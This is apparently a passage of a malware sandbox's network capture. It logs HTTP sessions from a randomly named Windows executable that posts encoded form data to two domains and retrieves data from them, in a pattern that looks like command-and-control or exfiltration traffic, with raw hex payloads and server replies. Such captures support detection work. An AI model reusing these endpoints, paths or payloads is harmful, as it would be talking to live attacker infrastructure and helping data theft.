Jan 10, 2025 23:21:01.110420942 CET	879	IN	Data Raw: 20 20 20 20 69 66 20 28 65 76 65 6e 74 2e 74 6f 75 63 68 65 73 2e 6c 65 6e 67 74 68 20 3e 20 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 Data Ascii: if (event.touches.length > 1) { event.preventDefault(); } }); document.addEventListener('touchend', function (event) { var now = (new Date()).getTime(); if (now - lastTouchEnd <= 300) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49768	13.228.81.39	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:07.116950989 CET	834	OUT	POST /y49d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.taxiquynhonnew.click Origin: http://www.taxiquynhonnew.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.taxiquynhonnew.click/y49d/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 72 34 72 4b 63 69 62 56 53 78 34 76 42 51 52 5a 42 77 42 61 4e 6f 4c 76 62 42 4e 47 68 73 2b 47 2f 50 48 7a 76 6f 6b 64 41 6e 63 75 4f 37 4b 34 58 41 58 68 4a 58 70 6e 7a 36 33 66 2f 2f 54 7a 49 4d 34 53 56 47 30 39 72 68 70 34 63 6f 52 7a 53 67 44 6a 65 6e 2b 43 6a 31 4f 38 6a 65 55 63 32 63 69 75 58 72 64 65 61 56 54 59 77 72 6f 49 78 39 4a 35 53 2b 32 71 64 53 71 55 66 42 74 59 64 76 33 57 38 52 72 59 55 51 57 56 36 4d 67 37 51 59 49 59 67 55 79 77 7a 6e 76 6d 47 39 64 51 6b 48 71 70 77 71 2f 41 5a 54 78 65 48 43 49 69 6d 75 76 5a 68 64 41 4b 51 4c 67 67 37 68 41 4b 72 41 3d 3d Data Ascii: kR8XbB2P=r4rKcibVSx4vBQRZBwBaNoLvbBNGhs+G/PHzvokdAncuO7K4XAXhJXpnz63f//TzIM4SVG09rhp4coRzSgDjen+Cj1O8jeUc2ciuXrdeaVTYwroIx9J5S+2qdSqUfBtYdv3W8RrYUQWV6Mg7QYIYgUywznvmG9dQkHqpwq/AZTxeHCIimuvZhdAKQLgg7hAKrA==
Jan 10, 2025 23:21:07.446899891 CET	371	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Fri, 10 Jan 2025 22:21:07 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.taxiquynhonnew.click/y49d/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49770	13.228.81.39	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:09.991848946 CET	854	OUT	POST /y49d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.taxiquynhonnew.click Origin: http://www.taxiquynhonnew.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.taxiquynhonnew.click/y49d/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 72 34 72 4b 63 69 62 56 53 78 34 76 54 67 42 5a 4e 7a 70 61 4b 49 4c 73 56 68 4e 47 72 4d 2b 4b 2f 50 4c 7a 76 71 49 4e 41 78 30 75 4f 5a 69 34 4e 45 44 68 48 33 70 6e 6e 71 33 57 69 76 54 36 49 4d 30 6b 56 45 77 39 72 68 39 34 63 74 31 7a 56 53 72 69 65 33 2b 45 71 56 4f 2b 38 4f 55 63 32 63 69 75 58 72 4a 34 61 52 2f 59 77 62 34 49 78 59 39 2b 4d 4f 32 72 51 43 71 55 62 42 74 63 64 76 33 30 38 55 7a 68 55 54 2b 56 36 4d 77 37 65 70 49 62 7a 30 79 32 39 48 76 74 49 66 38 2f 6f 33 53 72 31 36 54 43 57 53 39 56 47 55 46 34 37 63 62 39 69 4f 63 34 55 37 5a 49 35 6a 42 52 32 48 70 48 53 76 42 54 30 32 74 67 59 61 39 47 31 54 69 62 70 2f 49 3d Data Ascii: kR8XbB2P=r4rKcibVSx4vTgBZNzpaKILsVhNGrM+K/PLzvqINAx0uOZi4NEDhH3pnnq3WivT6IM0kVEw9rh94ct1zVSrie3+EqVO+8OUc2ciuXrJ4aR/Ywb4IxY9+MO2rQCqUbBtcdv308UzhUT+V6Mw7epIbz0y29HvtIf8/o3Sr16TCWS9VGUF47cb9iOc4U7ZI5jBR2HpHSvBT02tgYa9G1Tibp/I=
Jan 10, 2025 23:21:10.322242022 CET	371	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Fri, 10 Jan 2025 22:21:10 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.taxiquynhonnew.click/y49d/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49771	13.228.81.39	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:12.856452942 CET	6445	OUT	POST /y49d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.taxiquynhonnew.click Origin: http://www.taxiquynhonnew.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.taxiquynhonnew.click/y49d/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 72 34 72 4b 63 69 62 56 53 78 34 76 54 67 42 5a 4e 7a 70 61 4b 49 4c 73 56 68 4e 47 72 4d 2b 4b 2f 50 4c 7a 76 71 49 4e 41 78 4d 75 50 71 61 34 4f 6c 44 68 47 33 70 6e 37 61 33 62 69 76 53 36 49 4d 74 74 56 45 73 44 72 6b 35 34 65 4c 70 7a 51 6a 72 69 56 33 2b 45 6f 56 4f 2f 6a 65 56 59 32 59 4f 51 58 72 5a 34 61 52 2f 59 77 64 38 49 33 4e 4a 2b 4f 4f 32 71 64 53 71 49 66 42 73 42 64 76 76 4f 38 56 48 75 55 6a 65 56 39 74 41 37 54 2f 63 62 70 30 79 30 74 58 75 74 49 66 77 67 6f 32 2f 61 31 36 33 6f 57 54 6c 56 47 53 4a 6a 68 49 65 2b 78 4e 6b 36 58 65 78 42 31 44 4a 43 2b 47 63 7a 54 65 31 34 7a 78 30 31 51 62 30 4b 68 67 69 4c 34 71 6b 45 56 6b 7a 63 72 34 6e 66 70 76 2b 75 30 4a 4e 51 74 2b 54 6a 77 53 4c 73 51 34 58 39 2b 35 51 75 41 4c 6f 69 39 57 36 38 45 50 5a 79 43 77 4e 6f 71 4d 42 74 4a 48 33 69 37 68 34 78 4b 43 42 4d 6f 7a 53 58 37 66 58 4a 70 70 75 7a 76 4b 36 68 74 76 30 65 6f 6a 7a 50 61 54 53 39 55 66 75 44 38 78 6e 6e 55 49 70 6b 73 58 53 35 50 50 78 2b 57 [TRUNCATED] Data Ascii: kR8XbB2P=r4rKcibVSx4vTgBZNzpaKILsVhNGrM+K/PLzvqINAxMuPqa4OlDhG3pn7a3bivS6IMttVEsDrk54eLpzQjriV3+EoVO/jeVY2YOQXrZ4aR/Ywd8I3NJ+OO2qdSqIfBsBdvvO8VHuUjeV9tA7T/cbp0y0tXutIfwgo2/a163oWTlVGSJjhIe+xNk6XexB1DJC+GczTe14zx01Qb0KhgiL4qkEVkzcr4nfpv+u0JNQt+TjwSLsQ4X9+5QuALoi9W68EPZyCwNoqMBtJH3i7h4xKCBMozSX7fXJppuzvK6htv0eojzPaTS9UfuD8xnnUIpksXS5PPx+W7xzpWGzT5tfLr6BV94y3yUzmb3WnSmNTVrtBlsFRgzG4f2JUw8JoyWMJ/OuQfbvWxiIJkgvj2qBLJIUud7rp88o4GnoKKIkOfb0SShXAGHNRxFHSRpSoLW2t2XDew/5ZV65xWW4tubqkqGHLFPvyMUYI9YA55uD5DTO4wUZhVW8PG2TS97gj4MdhA8hqeLZIVpi0nGvK12ltgBh6rcahzEQ3pd6ln9GLsbe8y5FAfGVMxaAnH8fLZlDS5uH0OqZ5Lnbd+/PfFfMZfd9/QzsClD9FQbhfIYxZm3TucQYNRXrJ1bdCfpLhJfhKnELUT2S6yjGjSgjf1F+HHFoWj6lzd5qik/rD8vmC0D8ZUri05YHziBxb+LT1OQ/ZRnkkWVVNxYtXf6hm9vK3NvhMro64OPOjtjo/AACAmtO43NPRRB7vPLucySuDgq3/w/pqnDImeAmtp3pVzf6/O7IS9JOziNLepDaWlYyrB4JdX6mKtILGkYpPAg9XJh7ZzbDwY/GrDYmS+jGl8Ds43fp6xeCGD+lqhI6MQaTkQgTyjjfh5jtKT5y2x91z4kOreJdk/HGBXJ9kXev/+JMz+PlS2TntgOlfJo9ynPr6SPfbM0B33rFV5EgdzKqrxTmCzA88LiLbMCL7HNGkaqMiGQ8bh+Tggu6mm8Vw6KFh2w [TRUNCATED]
Jan 10, 2025 23:21:12.856559038 CET	1558	OUT	Data Raw: 76 74 73 43 74 77 62 38 4d 68 51 52 50 76 35 48 51 4d 5a 74 79 35 66 36 74 52 62 55 78 6f 4c 32 35 4a 50 49 6d 4a 48 37 51 6a 57 5a 66 44 73 6f 74 71 43 63 78 6c 63 44 7a 41 37 41 66 36 74 59 65 47 72 7a 68 6d 30 64 47 69 34 44 7a 4d 68 4a 6d 67 Data Ascii: vtsCtwb8MhQRPv5HQMZty5f6tRbUxoL25JPImJH7QjWZfDsotqCcxlcDzA7Af6tYeGrzhm0dGi4DzMhJmgAGwK67jpkw5QHWviLSW23gybR/OYOu8D4r8T/R0RRmwNExtIJw4hyjgT0TG954/00+X57MM4A2PxQo8abFWOHYTr/0yEG/xKqv642XBVw91nnI14WLfdW/QQZDWpnSqak6wMvtX3/icjECgkCa1nS91jWAVcjWSDT
Jan 10, 2025 23:21:13.186908960 CET	371	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Fri, 10 Jan 2025 22:21:13 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.taxiquynhonnew.click/y49d/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49772	13.228.81.39	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:15.727427959 CET	549	OUT	GET /y49d/?kR8XbB2P=m6DqfWTYFUU8GAEIGAoCC4XWRVZ+isyn9ImFwYYAXgcLCIKDKHWgUlwantPJ7uipU91pPV1usxBfeqldUzKMcEzEqEqzjLYIyojlXJBsWiDp4MAl1o0ML8Q=&oRQ0=OV24X0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.taxiquynhonnew.click Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:21:16.058459044 CET	513	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Fri, 10 Jan 2025 22:21:15 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.taxiquynhonnew.click/y49d/?kR8XbB2P=m6DqfWTYFUU8GAEIGAoCC4XWRVZ+isyn9ImFwYYAXgcLCIKDKHWgUlwantPJ7uipU91pPV1usxBfeqldUzKMcEzEqEqzjLYIyojlXJBsWiDp4MAl1o0ML8Q=&oRQ0=OV24X0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49773	209.74.77.107	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:29.614259005 CET	822	OUT	POST /a6qk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.learnwithus.site Origin: http://www.learnwithus.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.learnwithus.site/a6qk/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 58 47 30 2b 61 72 68 6c 57 7a 44 6a 4d 68 48 2b 71 62 79 76 65 59 56 66 75 31 6d 4f 62 52 71 61 4c 66 30 63 6f 59 65 69 72 51 78 68 50 47 59 51 41 6e 35 36 70 2b 49 4a 53 55 5a 41 75 6a 30 61 77 49 6a 6d 4d 50 39 76 7a 46 30 52 48 6d 56 30 31 32 6a 77 64 64 77 37 65 49 2b 71 71 67 2b 47 57 70 55 77 62 39 37 36 76 64 4d 6f 48 2f 69 43 65 38 59 4b 4e 70 59 33 47 34 73 35 41 43 5a 64 45 67 2f 62 78 30 4a 35 6a 35 50 61 4c 58 62 6d 67 4f 59 63 50 4f 63 58 4e 44 69 34 51 38 4a 7a 77 6e 77 75 76 48 79 69 41 63 7a 6b 6f 36 45 35 6b 59 44 75 2f 46 46 52 57 69 35 51 73 33 6a 63 56 67 3d 3d Data Ascii: kR8XbB2P=XG0+arhlWzDjMhH+qbyveYVfu1mObRqaLf0coYeirQxhPGYQAn56p+IJSUZAuj0awIjmMP9vzF0RHmV012jwddw7eI+qqg+GWpUwb976vdMoH/iCe8YKNpY3G4s5ACZdEg/bx0J5j5PaLXbmgOYcPOcXNDi4Q8JzwnwuvHyiAczko6E5kYDu/FFRWi5Qs3jcVg==
Jan 10, 2025 23:21:29.795665979 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 22:21:29 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49774	209.74.77.107	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:32.319811106 CET	842	OUT	POST /a6qk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.learnwithus.site Origin: http://www.learnwithus.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.learnwithus.site/a6qk/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 58 47 30 2b 61 72 68 6c 57 7a 44 6a 50 42 33 2b 6f 38 65 76 56 59 56 59 72 31 6d 4f 41 42 71 65 4c 66 34 63 6f 64 2b 79 72 69 56 68 50 6e 49 51 42 6d 35 36 6f 2b 49 4a 47 45 5a 46 68 44 30 76 77 49 6e 55 4d 4f 52 76 7a 45 51 52 48 6a 52 30 31 46 4c 7a 48 74 77 35 4c 59 2b 6b 75 67 2b 47 57 70 55 77 62 39 48 63 76 64 55 6f 48 50 79 43 64 64 59 46 45 4a 59 30 52 49 73 35 4c 69 59 61 45 67 2f 74 78 31 6c 44 6a 36 33 61 4c 57 72 6d 6c 50 59 66 46 4f 63 52 44 6a 6a 56 52 4f 6b 6d 7a 55 6f 74 6a 56 53 72 4e 2f 33 77 6b 4d 4a 6a 35 71 33 4b 38 57 5a 6a 53 53 41 34 75 31 69 48 49 6b 38 35 61 2b 7a 6f 33 47 63 51 53 73 73 2f 56 67 44 56 58 46 77 3d Data Ascii: kR8XbB2P=XG0+arhlWzDjPB3+o8evVYVYr1mOABqeLf4cod+yriVhPnIQBm56o+IJGEZFhD0vwInUMORvzEQRHjR01FLzHtw5LY+kug+GWpUwb9HcvdUoHPyCddYFEJY0RIs5LiYaEg/tx1lDj63aLWrmlPYfFOcRDjjVROkmzUotjVSrN/3wkMJj5q3K8WZjSSA4u1iHIk85a+zo3GcQSss/VgDVXFw=
Jan 10, 2025 23:21:32.498277903 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 22:21:32 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49775	209.74.77.107	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:35.037159920 CET	1289	OUT	POST /a6qk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.learnwithus.site Origin: http://www.learnwithus.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.learnwithus.site/a6qk/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 58 47 30 2b 61 72 68 6c 57 7a 44 6a 50 42 33 2b 6f 38 65 76 56 59 56 59 72 31 6d 4f 41 42 71 65 4c 66 34 63 6f 64 2b 79 72 69 64 68 50 56 51 51 42 42 46 36 75 4f 49 4a 5a 30 5a 45 68 44 30 49 77 4d 4c 51 4d 4f 4e 56 7a 48 34 52 47 42 5a 30 7a 30 4c 7a 53 39 77 35 55 6f 2b 70 71 67 2f 43 57 70 6b 38 62 37 6e 63 76 64 55 6f 48 4e 61 43 4c 38 59 46 43 4a 59 33 47 34 73 50 41 43 5a 39 45 67 6e 54 78 31 52 54 67 4b 58 61 4c 32 37 6d 69 70 73 66 4a 4f 63 54 4f 44 6a 4e 52 4f 70 32 7a 55 6c 65 6a 57 50 77 4e 38 48 77 31 71 30 38 6d 4c 4f 53 71 67 6c 77 54 53 34 4d 70 47 2f 51 4b 45 6b 6a 63 4e 66 37 72 33 6f 58 59 4d 63 6f 45 69 66 73 46 79 75 48 48 35 64 30 6d 50 49 44 4f 64 6d 45 64 7a 74 30 6b 56 6e 73 63 38 70 66 63 47 53 55 4d 4b 32 73 61 72 72 67 4b 48 6b 43 6a 68 32 4d 30 6c 6c 44 33 50 73 55 50 32 2b 47 54 35 55 56 51 31 51 4c 59 37 77 33 6d 5a 4f 4f 35 32 6e 6f 62 50 66 73 77 59 76 48 55 76 4f 44 41 48 64 56 72 71 69 72 53 4c 77 50 4c 46 6a 37 47 47 47 35 65 6f 35 75 50 [TRUNCATED] Data Ascii: 